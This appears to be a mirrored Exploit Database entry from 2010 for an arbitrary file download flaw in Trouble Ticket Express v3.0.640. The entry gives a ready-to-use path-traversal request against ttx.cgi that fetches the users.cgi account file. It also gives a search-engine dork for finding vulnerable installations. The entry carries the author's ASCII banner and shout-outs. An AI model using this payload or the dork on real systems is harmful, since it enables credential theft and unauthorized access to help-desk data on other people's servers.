Trouble Ticket Software – ‘ttx.cgi’ Arbitrary File Download

• Exploit Database
• 10 阅读

• 作者： n01d
  日期： 2010-03-20
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/11823/

• # Exploit Title: Trouble Ticket Software 0Day
  # Date: 3/12/2010
  # Author: n01d
  # Software Link: http://www.troubleticketexpress.com
  # Version: TTX v3.0.640
  # Tested on: <=3.0.640
   ___ __
   _ __ / _ \ / |__| |
  | '_ \ | | | || | / _` |
  | | | || |_| || || (_| |
  |_| |_| \___/ |_| \__,_|
  Bob@http://n01d.com
  
  
  Type:Trouble Ticket Software 0Day
  
  Vendor:Remote File Download
  
  Exploit: http://www.example.com/TTXdir/ ttx.cgi?cmd=file&fid=../users.cgi&fn=users.cgi
  
  Dork:"Help desk software by United Web Coders rev. 3.0.640"
  
  Shouts:Pro, resU, Bob, Jester, Crusader, Wozniak